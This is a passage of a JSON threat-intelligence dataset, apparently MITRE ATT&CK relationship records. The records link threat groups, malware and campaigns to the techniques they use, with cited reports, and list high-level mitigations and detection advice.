","relationship_type":"detects","source_ref":"x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a084527d-2858-4037-bc48-68c1eac85acb","type":"relationship","created":"2019-07-19T17:14:24.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-30T02:00:04.423Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) to redirect connections between networks.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a08454ac-6680-4ea1-ab2a-f272f562fc25","created":"2022-10-05T16:12:09.295Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:12:09.295Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) can inject a payload into the memory of a compromised host.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a08900f6-65be-4022-8ad8-fe6c6c91c1d0","created":"2023-02-08T00:34:56.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:12:42.359Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can collect files and system information from a compromised host.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a08b1776-efe3-4304-9dba-dc977fc934cd","type":"relationship","created":"2022-02-01T20:04:13.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T20:04:13.570Z","description":"[Ferocious](https://attack.mitre.org/software/S0679) can use PowerShell scripts for execution.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a08dadbf-6f68-415f-9daa-f84571af83a2","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.636Z","description":"[ChChes](https://attack.mitre.org/software/S0144) collects the victim hostname, window resolution, and Microsoft Windows version.(Citation: Palo Alto menuPass Feb 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a09b9e3f-96b8-4fde-9f7d-261b449cdabd","type":"relationship","created":"2019-01-29T20:05:36.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2020-03-16T17:17:50.827Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can perform keylogging on the victim’s machine.(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a09c5b62-cd6f-40e4-b614-99b3f29de0f5","created":"2020-11-13T19:19:41.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"IBM Grandoreiro April 2020","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020.","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T22:11:50.863Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can use malicious browser extensions to steal cookies and other user information.(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a09cb233-bdff-4d89-bcc3-7fb2108911d0","created":"2022-04-01T02:15:49.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T20:15:43.472Z","description":"Enable account restrictions to prevent login attempts, and the subsequent 2FA/MFA service requests, from being initiated from suspicious locations or when the source of the login attempts do not match the location of the 2FA/MFA smart device. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a09e5687-4512-4d49-8ce4-f1137833429d","created":"2024-10-17T15:35:41.631Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T15:35:41.631Z","description":"Monitor for newly constructed accounts with names that are unusually generic or identical to recently-deleted accounts.","relationship_type":"detects","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0a004fe-2636-4f6d-85c7-2401768252a2","type":"relationship","created":"2019-06-24T12:03:02.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-14T19:47:47.062Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a0a166b9-3aec-4dbe-b786-23f6439943eb","created":"2022-04-09T19:26:27.971Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can be disguised as a Visual Studio file such as `Windows.Data.TimeZones.zh-PH.pri` to evade detection. Also, [FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can mimic a genuine `dll` file that carries out the same import functions as the legitimate Windows `version.dll` file.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:38:19.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a0b16d25-48f0-42e5-be32-8b831e18c869","created":"2022-03-25T16:21:29.424Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to run the whoami command on the system.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:27:42.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0b1ab1f-9427-411a-9eba-649da629adaf","created":"2023-12-06T20:27:39.758Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-06T20:27:39.758Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used a customized version of the [Impacket](https://attack.mitre.org/software/S0357) wmiexec.py module to create renamed output files.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0b2b4b4-c522-4428-a70b-ad1002417a28","type":"relationship","created":"2020-05-21T21:31:34.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-15T21:31:38.112Z","description":"[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into clicking links in spoofed emails from legitimate banks.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0bb2dec-515f-4334-97c1-63fa6c9b4340","type":"relationship","created":"2021-04-13T13:07:50.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:07:50.637Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can scan networks for open ports and listening services.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0bf4e01-2df1-4256-90fe-a504c76c6baf","created":"2023-05-24T18:25:25.102Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-24T18:25:25.102Z","description":"(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0bf84db-5482-4bc2-a53f-46d988e4f688","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:17:19.495Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) is obfuscated using the obfuscation tool called ConfuserEx.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0c23dc4-d3ad-4312-a10c-001e7040a32b","created":"2023-03-26T20:19:38.468Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:19:38.468Z","description":"For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used compromised identities to access networks via SSH, VPNs, and other remote access tools.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a0c3b1cc-5ea6-46c0-8719-f67ae953333e","created":"2022-04-19T16:44:20.574Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can upload files from a victim's machine.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T16:44:20.575Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.","source_name":"Symantec Suckfly May 2016"}],"modified":"2019-03-25T16:59:47.278Z","description":"[Suckfly](https://attack.mitre.org/groups/G0039) used a signed credential-dumping tool to obtain victim account credentials.(Citation: Symantec Suckfly May 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0d99ee4-f154-42a0-8984-8e76d3e155c9","created":"2021-12-06T16:30:49.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:41:37.216Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has created accounts disguised as legitimate backup and service accounts as well as an email administration account.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0e02917-ad4d-4f84-bd50-9187a60db0fe","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0e4dc2c-1977-4c4c-a5ee-4710fb3ef1a5","created":"2023-06-22T20:48:11.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-23T20:24:02.395Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has the ability to gather basic system information and run the POSIX API `gethostbyname`.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0e54774-50e2-4626-a826-5e692ef00a63","created":"2023-08-11T21:06:07.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:07:14.953Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols such as SMB that revolve around network shares. Although there may be more native ways to detect detailed SMB events on the host, they can be extracted out of network traffic. With the right protocol decoders, port 445 traffic can be filtered and even the file path (relative to the share) can be retrieved.\n\nLooking at this activity more closely to obtain an adequate sense of situational awareness may make it possible to detect adversaries moving between hosts in a way that deviates from normal activity. Because SMB traffic is heavy in many environments, this analytic may be difficult to turn into something that can be used to quickly detect an APT. In some cases, it may make more sense to run this analytic in a forensic fashion. Looking through and filtering its output after an intrusion has been discovered may be helpful in identifying the scope of compromise.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a0edf2ca-8f76-42ad-9525-1c0ae3948131","created":"2022-06-24T14:08:18.516Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) has lured victims into opening macro-enabled Word documents for execution.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:08:18.516Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0f0d977-ccb9-4634-9b0a-f6887be60b4c","created":"2023-02-16T18:52:54.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 